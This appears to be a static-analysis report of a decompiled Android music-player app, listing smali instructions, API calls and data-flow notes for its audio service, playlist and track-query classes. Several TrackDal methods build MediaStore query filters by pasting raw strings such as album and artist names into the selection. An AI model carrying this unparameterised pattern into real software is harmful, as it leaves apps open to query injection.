23iput-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->intent:Landroid/content/Intent;
24new-instance v0, Landroid/content/IntentFilter;
26invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
28const-string v1, "android.intent.action.PHONE_STATE"
30invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: android.intent.action.PHONE_STATE
32iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->receiver:Landroid/content/BroadcastReceiver;
34invoke-virtual {p0, v1, v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
35return-void
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
  • com.twdlphqg.app.TouchInterceptor.getHeaderViewsCount
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • java.lang.Object.equals
  • android.view.View.getLayoutParams
  • android.view.View.setLayoutParams
  • android.view.View.setVisibility
  • java.lang.Object.equals
  • com.twdlphqg.app.TouchInterceptor.getPositionForView
  • com.twdlphqg.app.TouchInterceptor.getCount
Position Instruction Meta Information
0.prologue
1iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
3invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
4move-result v9
5sub-int v0, v8, v9
6iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
7iget v9, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
8if-le v8, v9, :cond_10
9add-int/lit8 v0, v0, 0x1
10cond_10:
11invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getHeaderViewsCount()I
12move-result v4
13iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
15invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
16move-result v9
17sub-int/2addr v8, v9
19invoke-virtual {p0, v8}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
20move-result-object v1
21const/4 v3, 0x0
22goto_20:
23invoke-virtual {p0, v3}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
24move-result-object v7
25if-nez v7, :cond_27
26return-void
27cond_27: iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightNormal:I
28const/4 v6, 0x0
29iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
30if-ge v8, v4, :cond_49
31if-ne v3, v4, :cond_49
33invoke-virtual {v7, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
34move-result v8
35if-eqz v8, :cond_46
36const/4 v6, 0x4
37goto_37:
38invoke-virtual {v7}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
39move-result-object v5
40iput v2, v5, Landroid/view/ViewGroup$LayoutParams;->height:I
42invoke-virtual {v7, v5}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
44invoke-virtual {v7, v6}, Landroid/view/View;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 4
45add-int/lit8 v3, v3, 0x1
46goto/16 :goto_20
47cond_46: iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightExpanded:I
48goto/16 :goto_37
49cond_49:
50invoke-virtual {v7, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
51move-result v8
52if-eqz v8, :cond_65
53iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
54iget v9, p0, Lcom/twdlphqg/app/TouchInterceptor;->mSrcDragPos:I
55if-eq v8, v9, :cond_61
57invoke-virtual {p0, v7}, Lcom/twdlphqg/app/TouchInterceptor;->getPositionForView(Landroid/view/View;)I
58move-result v8
60invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getCount()I
61move-result v9
62add-int/lit8 v9, v9, -0x1
63if-ne v8, v9, :cond_63
64cond_61: const/4 v6, 0x4
65goto/16 :goto_37
66cond_63: const/4 v2, 0x1
67goto/16 :goto_37
68cond_65: if-ne v3, v0, :cond_37
69iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
70if-lt v8, v4, :cond_37
71iget v8, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPos:I
73invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getCount()I
74move-result v9
75add-int/lit8 v9, v9, -0x1
76if-ge v8, v9, :cond_37
77iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightExpanded:I
78goto/16 :goto_37
Cross References
APIs
  • com.twdlphqg.app.services.AudioPlayerService.getApplicationContext
  • android.support.v4.app.NotificationCompat$Builder.<init>
  • android.content.Intent.<init>
  • android.app.PendingIntent.getActivity
  • java.util.ArrayList.get
  • android.support.v4.app.NotificationCompat$Builder.setContentTitle
  • java.util.ArrayList.get
  • android.support.v4.app.NotificationCompat$Builder.setContentText
  • android.support.v4.app.NotificationCompat$Builder.setSmallIcon
  • android.support.v4.app.NotificationCompat$Builder.setContentIntent
  • android.support.v4.app.NotificationCompat$Builder.build
  • android.app.NotificationManager.notify
  • com.twdlphqg.app.services.AudioPlayerService.startForeground
Position Instruction Meta Information
0.prologue
1const/4 v5, 0x0
2new-instance v3, Landroid/support/v4/app/NotificationCompat$Builder;
4invoke-virtual {p0}, Lcom/twdlphqg/app/services/AudioPlayerService;->getApplicationContext()Landroid/content/Context;
5move-result-object v4
7invoke-direct {v3, v4}, Landroid/support/v4/app/NotificationCompat$Builder;-><init>(Landroid/content/Context;)V
8new-instance v1, Landroid/content/Intent;
9const-class v4, Lcom/twdlphqg/app/PlayerActivity;
11invoke-direct {v1, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
13invoke-static {p0, v5, v1, v5}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
14move-result-object v0
16iget-object v4, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
17iget v5, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
19invoke-virtual {v4, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
20move-result-object v4
21check-cast v4, Lcom/twdlphqg/app/models/Track;
23invoke-virtual {v4}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
24move-result-object v4
26invoke-virtual {v3, v4}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/support/v4/app/NotificationCompat$Builder;
27move-result-object v5
29iget-object v4, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
30iget v6, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
32invoke-virtual {v4, v6}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
33move-result-object v4
34check-cast v4, Lcom/twdlphqg/app/models/Track;
36invoke-virtual {v4}, Lcom/twdlphqg/app/models/Track;->getArtist()Ljava/lang/String;
37move-result-object v4
39invoke-virtual {v5, v4}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/support/v4/app/NotificationCompat$Builder;
40move-result-object v4
41const v5, 0x7f020070
43invoke-virtual {v4, v5}, Landroid/support/v4/app/NotificationCompat$Builder;->setSmallIcon(I)Landroid/support/v4/app/NotificationCompat$Builder;
  • Data flow analysis:
    • p0: 2130837616
44move-result-object v4
46invoke-virtual {v4, v0}, Landroid/support/v4/app/NotificationCompat$Builder;->setContentIntent(Landroid/app/PendingIntent;)Landroid/support/v4/app/NotificationCompat$Builder;
48invoke-virtual {v3}, Landroid/support/v4/app/NotificationCompat$Builder;->build()Landroid/app/Notification;
49move-result-object v2
51iget-object v4, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->notificationManager:Landroid/app/NotificationManager;
52iget v5, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->NOTIFICATION_ID:I
54invoke-virtual {v4, v5, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
55iget v4, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->NOTIFICATION_ID:I
57invoke-virtual {p0, v4, v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->startForeground(ILandroid/app/Notification;)V
58return-void
APIs
  • com.twdlphqg.app.services.AudioPlayerService.getTotalTime
  • com.twdlphqg.app.services.AudioPlayerService.getElapsedTime
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.widget.TextView.setText
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.widget.TextView.setText
  • android.widget.SeekBar.setProgress
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
2iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
4iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
6invoke-virtual {v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTotalTime()I
7move-result v3
8int-to-long v4, v3
10iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
12iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
14invoke-virtual {v3}, Lcom/twdlphqg/app/services/AudioPlayerService;->getElapsedTime()I
15move-result v3
16int-to-long v0, v3
18iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
20iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->txtTotalTime:Landroid/widget/TextView;
21new-instance v6, Ljava/lang/StringBuilder;
23invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
25invoke-static {v4, v5}, Lcom/twdlphqg/app/business/Ultils;->Timer(J)Ljava/lang/String;
26move-result-object v7
28invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v6
31invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v6
34invoke-virtual {v3, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
36iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
38iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->txtElapsedTime:Landroid/widget/TextView;
39new-instance v6, Ljava/lang/StringBuilder;
41invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
43invoke-static {v0, v1}, Lcom/twdlphqg/app/business/Ultils;->Timer(J)Ljava/lang/String;
44move-result-object v7
46invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v6
49invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v6
52invoke-virtual {v3, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
54invoke-static {v0, v1, v4, v5}, Lcom/twdlphqg/app/business/Ultils;->getProgressPercentage(JJ)I
55move-result v2
57iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
59iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->prgTrack:Landroid/widget/SeekBar;
61invoke-virtual {v3, v2}, Landroid/widget/SeekBar;->setProgress(I)V
63iget-object v3, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
65iget-object v3, v3, Lcom/twdlphqg/app/PlayerActivity;->handler:Landroid/os/Handler;
66const-wide/16 v6, 0x64
68invoke-virtual {v3, p0, v6, v7}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 100
69return-void
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.PlaylistFragment.getArguments
  • android.os.Bundle.getParcelableArrayList
  • com.twdlphqg.app.fragments.PlaylistFragment.getActivity
  • android.support.v4.app.FragmentActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.PlaylistAdapter.<init>
  • android.view.View.findViewById
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setOnItemClickListener
  • com.twdlphqg.app.fragments.PlaylistFragment.registerForContextMenu
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v1, 0x7f03001c
5const/4 v2, 0x0
7invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903068
    • attachToRoot: 0
8move-result-object v0
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v1
12if-eqz v1, :cond_57
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v1
17sget-object v2, Lcom/twdlphqg/app/conf/constants;->PLAYLISTS_KEY:Ljava/lang/String;
19invoke-virtual {v1, v2}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
20move-result-object v1
21iput-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
23iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
24if-eqz v1, :cond_57
25new-instance v1, Lcom/twdlphqg/app/adapter/PlaylistAdapter;
27invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
28move-result-object v2
29const v3, 0x7f030021
31iget-object v4, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlists:Ljava/util/ArrayList;
33invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
34move-result-object v5
36invoke-virtual {v5}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
37move-result-object v5
39invoke-direct {v1, v2, v3, v4, v5}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;Landroid/support/v4/app/FragmentManager;)V
  • Data flow analysis:
    • p1: 2130903073
40iput-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
41const v1, 0x7f0a0041
43invoke-virtual {v0, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361857
44move-result-object v1
45check-cast v1, Landroid/widget/ListView;
46iput-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->list:Landroid/widget/ListView;
48iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->list:Landroid/widget/ListView;
50iget-object v2, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
52invoke-virtual {v1, v2}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
54iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->list:Landroid/widget/ListView;
55new-instance v2, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;
57invoke-direct {v2, p0}, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;-><init>(Lcom/twdlphqg/app/fragments/PlaylistFragment;)V
59invoke-virtual {v1, v2}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
61iget-object v1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment;->list:Landroid/widget/ListView;
63invoke-virtual {p0, v1}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->registerForContextMenu(Landroid/view/View;)V
64cond_57: return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • album=
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Track;",
9">;"
10}
11.end annotation
12.prologue
13const/4 v4, 0x0
15sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
16const/4 v0, 0x5
17new-array v2, v0, [Ljava/lang/String;
18const/4 v0, 0x0
20const-string v3, "_id"
21aput-object v3, v2, v0
22const/4 v0, 0x1
24const-string v3, "title"
25aput-object v3, v2, v0
26const/4 v0, 0x2
28const-string v3, "artist"
29aput-object v3, v2, v0
30const/4 v0, 0x3
32const-string v3, "album_id"
33aput-object v3, v2, v0
34const/4 v0, 0x4
36const-string v3, "_data"
37aput-object v3, v2, v0
39iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
40new-instance v3, Ljava/lang/StringBuilder;
42const-string v5, "album="
44invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: album=
46invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v3
49invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v3
51move-object v5, v4
53invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
54move-result-object v6
56invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
57move-result-object v0
58return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • artist=
Position Instruction Meta Information
0.param p1, "artistName" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Track;",
9">;"
10}
11.end annotation
12.prologue
13const/4 v4, 0x0
15sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
16const/4 v0, 0x5
17new-array v2, v0, [Ljava/lang/String;
18const/4 v0, 0x0
20const-string v3, "_id"
21aput-object v3, v2, v0
22const/4 v0, 0x1
24const-string v3, "title"
25aput-object v3, v2, v0
26const/4 v0, 0x2
28const-string v3, "artist"
29aput-object v3, v2, v0
30const/4 v0, 0x3
32const-string v3, "album_id"
33aput-object v3, v2, v0
34const/4 v0, 0x4
36const-string v3, "_data"
37aput-object v3, v2, v0
39iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
40new-instance v3, Ljava/lang/StringBuilder;
42const-string v5, "artist="
44invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: artist=
46invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v3
49invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v3
51move-object v5, v4
53invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
54move-result-object v6
56invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
57move-result-object v0
58return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • album_id=
Position Instruction Meta Information
0.param p1, "id" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;"
8}
9.end annotation
10.prologue
11const/4 v4, 0x0
13sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
14const/4 v0, 0x5
15new-array v2, v0, [Ljava/lang/String;
16const/4 v0, 0x0
18const-string v3, "_id"
19aput-object v3, v2, v0
20const/4 v0, 0x1
22const-string v3, "title"
23aput-object v3, v2, v0
24const/4 v0, 0x2
26const-string v3, "artist"
27aput-object v3, v2, v0
28const/4 v0, 0x3
30const-string v3, "album_id"
31aput-object v3, v2, v0
32const/4 v0, 0x4
34const-string v3, "_data"
35aput-object v3, v2, v0
37iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
38new-instance v3, Ljava/lang/StringBuilder;
40const-string v5, "album_id="
42invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: album_id=
44invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
45move-result-object v3
47invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v3
49move-object v5, v4
51invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
52move-result-object v6
54invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
55move-result-object v0
56return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • artist_id=
Position Instruction Meta Information
0.param p1, "id" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;"
8}
9.end annotation
10.prologue
11const/4 v4, 0x0
13sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
14const/4 v0, 0x5
15new-array v2, v0, [Ljava/lang/String;
16const/4 v0, 0x0
18const-string v3, "_id"
19aput-object v3, v2, v0
20const/4 v0, 0x1
22const-string v3, "title"
23aput-object v3, v2, v0
24const/4 v0, 0x2
26const-string v3, "artist"
27aput-object v3, v2, v0
28const/4 v0, 0x3
30const-string v3, "album_id"
31aput-object v3, v2, v0
32const/4 v0, 0x4
34const-string v3, "_data"
35aput-object v3, v2, v0
37iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
38new-instance v3, Ljava/lang/StringBuilder;
40const-string v5, "artist_id="
42invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: artist_id=
44invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
45move-result-object v3
47invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v3
49move-object v5, v4
51invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
52move-result-object v6
54invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
55move-result-object v0
56return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • _id=
Position Instruction Meta Information
0.param p1, "id" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I)",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;"
8}
9.end annotation
10.prologue
11const/4 v4, 0x0
13sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
14const/4 v0, 0x5
15new-array v2, v0, [Ljava/lang/String;
16const/4 v0, 0x0
18const-string v3, "_id"
19aput-object v3, v2, v0
20const/4 v0, 0x1
22const-string v3, "title"
23aput-object v3, v2, v0
24const/4 v0, 0x2
26const-string v3, "artist"
27aput-object v3, v2, v0
28const/4 v0, 0x3
30const-string v3, "album_id"
31aput-object v3, v2, v0
32const/4 v0, 0x4
34const-string v3, "_data"
35aput-object v3, v2, v0
37iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
38new-instance v3, Ljava/lang/StringBuilder;
40const-string v5, "_id="
42invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: _id=
44invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
45move-result-object v3
47invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v3
49move-object v5, v4
51invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p3: 0
    • p4: 0
52move-result-object v6
54invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
55move-result-object v0
56return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
  • ORDER BY
  • ASC
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Track;",
6">;"
7}
8.end annotation
9.prologue
10new-instance v2, Ljava/lang/StringBuilder;
12const-string v3, "SELECT * FROM "
14invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
16sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v2
21const-string v3, " ORDER BY "
23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ORDER BY
24move-result-object v2
26sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v2
31const-string v3, " ASC"
33invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ASC
34move-result-object v2
36invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v1
39iget-object v2, p0, Lcom/twdlphqg/app/dals/TrackDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
40const/4 v3, 0x0
42invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
43move-result-object v0
45invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/TrackDal;->convertOwnDBCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
46move-result-object v2
47return-object v2
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
